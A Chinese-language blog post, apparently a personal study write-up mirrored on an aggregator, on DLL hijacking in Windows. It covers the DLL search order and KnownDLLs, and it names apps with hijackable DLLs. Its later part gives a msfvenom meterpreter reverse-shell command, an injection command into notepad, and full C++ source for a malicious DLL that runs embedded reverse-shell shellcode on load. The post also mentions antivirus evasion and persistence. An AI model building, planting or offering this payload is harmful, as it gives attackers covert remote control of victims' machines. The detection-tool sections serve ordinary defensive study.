0

DLL劫持学习

 2 years ago
source link: https://antipassion.github.io/2021/10/18/dll%E5%8A%AB%E6%8C%81%E5%AD%A6%E4%B9%A0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

DLL劫持

什么是dll文件?

DLL(Dynamic Link Library)被称为动态链接库文件,又被称之为“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现”劫持”上线

dll原理利用

Windows xp sp2之前

windows查找DLL的目录以及对应顺序:

  1. 进程对应的应用程序所在目录
  2. 系统目录(Current Directory)
  3. 16位系统目录
  4. Windows目录(通过GetWindowsDirectory 获取)
  5. PATH环境变量中的各个目录

例如:在一个PC上,doc文档打开会首先被应用程序office打开,而office运行的时候会加载系统的一个dll文件,系统的dll不是在应用程序的所在目录当中,而是会去系统目录中去查找,这是根据调用dll目录的优先级顺序可知,我们如果在当前目录,也就是doc文件所在目录放上一个恶意的dll来代替系统dll被加载进office程序中,则会执行dll中恶意代码从而被上线。

Windows xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启)

默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
  6. PATH环境变量中的各个目录;

Windows 7 以上版本

系统取消了SafeDllSearchMode 而启用KnowDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置为:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

那么最终Windows2003以上以及win7以上操作系统,会结合“DLL路径搜索顺序”和KnownDLLs注册表项”的机制来确定应用程序将要调用的DLL路径,之后,应用程序会将DLL载入自己内存空间,通过导入导出表来调用执行相关功能。

  • 默认情况之下,若软件安装在c盘根目录,而不是c:\Program Files,哪经过身份验证的用户具有该目录的写权限,另外,perl,python,ruby等软件都添加到path变量中,攻击者可以调用python等程序在当前目录中编写Dll,只要重新运行程序就会中招
  • SafeDllSearchMode + KnownDLLs二者结合可以用来防范dll劫持,但如果调用未曾出现于knowDlls表上的dll,那么无论SafeDllSearchMode模式是否会被开启,应用程序调用dll默认搜索路径始终会先从程序的当前目录开始,这边就存在一个攻击手段,可利用反汇编软件,找出PE程序所调用的不常见dll(不在KnowDlls目录中的),利用Windows特性,即不在名单之内的dll优先在本层目录下调用,可写一份恶意dll在应用程序的同级目录下优先加载调用,实现getshell或维权

dll劫持检查

Process Explorer

利用Process Explorer 检查exe程序主要加载的dll文件,此处借助搜Tim应用来学习搜索可劫持dll。

此处可发现Resource.dll,未在系统目录下进行调用,推测此dll文件未在KnowDlls列表中。

image-20211016095907746

在KnowDlls中检查,确实发现不在其中

image-20211016094442231

由此可知,搜狗拼音启动时,可以从应用所在目录下优先调用dll文件,这就造成了dll文件劫持的风险。

DLL Hijack Auditor(DLL劫持审计器)

下载地址:http://securityxploded.com/getsoftware_direct.php?id=7777

误报率较高

image-20211016100521662

Rattler

https://github.com/sensepost/rattler/releases

探测了好多,一个也没成功

image-20211016102119448

dll_hijack_detect

下载地址:https://github.com/adamkramer/dll_hijack_detect/releases

image-20211016102924938

可以检测到系统上正在运行的进程中的DLL劫持,

不过误报也比较多

复现劫持DLL

  1. 启动应用程序
  2. 使用Procesds Explorer等类似的软件查看该应用程序启动后加载的动态链接库
  3. 在该应用程序已加载的DLL列表中,查找在KnowDLLs注册表项不存在的DLL
  4. 编写从上一步获取到的DLL的劫持dll
  5. 将编写好的劫持dll放到该应用程序目录下,重新启动该应用程序,检查是否劫持成功。

自动化工具实现DLL劫持上线

利用msfvenom生成Dll形式的payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.128 LPORT=5555 -f dll -o SciLexer.dll

劫持前先利用Msfconsole开启监听准备上线。

image-20211016111915554

再将生成的dll文件,放入目标机器当中,打开notepad。利用InjectProc.exe进行自动化注入:

InjectProc.exe dll_inj SciLexer.dll notepad.exe

此时我们可以发现,靶机已经上线,但这种方法由于是msf一键生成的dll 载荷,需要再进行免杀操作,直接使用,百分百会被真实环境中的杀软拦截,且不便于做维权操作。

image-20211016111706588

手动编写DLL实现上线

利用vs2019-动态链接库项目

每个DLL文件均有一份dllmain.cpp源文件,其DLL程序入口点在此,实现功能在此处添加

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule, //模块句柄
DWORD ul_reason_for_call, //调用原因
LPVOID lpReserved //参数保留
)
{
switch (ul_reason_for_call) //根据调用原因选择不同的加载方式
{
case DLL_PROCESS_ATTACH: //DLL被某个进程加载调用
case DLL_THREAD_ATTACH: //DLL被某个线程调用
case DLL_THREAD_DETACH: //DLL被某个线程卸载
case DLL_PROCESS_DETACH: //DLL被某个进程卸载
break;
}
return TRUE;
}


头文件 : framework.h

#pragma once

#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

pch.h

// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"

#endif //PCH_H

尝试引入Windows.h在dll文件当中,制作MessageBox弹窗

调用DLL

Python调用
import ctypes
dll = ctypes.CDLL("C:\\Users\\86156\\Desktop\\免杀学习\\dll劫持学习\\刘姥姥初试DLL\\Debug\\刘姥姥初试DLL.exe")
a=dll.func()

image-20211016133534638

c++运行时动态连接
#include<iostream>
#include<Windows.h>
using namespace std;
//定义一个函数类
typedef int(*addfun)(int a, int b);
typedef void(*messagefun)();

int main() {
//指定加载dll库
HMODULE hdll = LoadLibrary(LPCWSTR(L"C:\\Users\\86156\\Desktop\\刘姥姥初试DLL.dll"));
if (hdll != NULL)
{
//程序找到dll并成功载入
messagefun message = (messagefun)GetProcAddress(hdll, "message");
if (message != NULL)
message();
FreeLibrary(hdll);
}
else
{
printf("句柄获取失败,刘姥姥得了菜花");
system("pause");
}

return 0;
}

image-20211016140951886

成功导出dll内的message函数,导入到动态链接.exe中。

#include "pch.h"
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>

DWORD WINAPI DoMagic(LPVOID lpParameter) {

unsigned char buffer[]="\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
"\x18\x44\x8b\x40\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x15\xb3\xc0\xa8\x2b\x80\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

void* exec = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(exec, buffer, sizeof(buffer));

((void(*) ())exec)();

return 0;
}


BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE threadHandle;
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
e

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK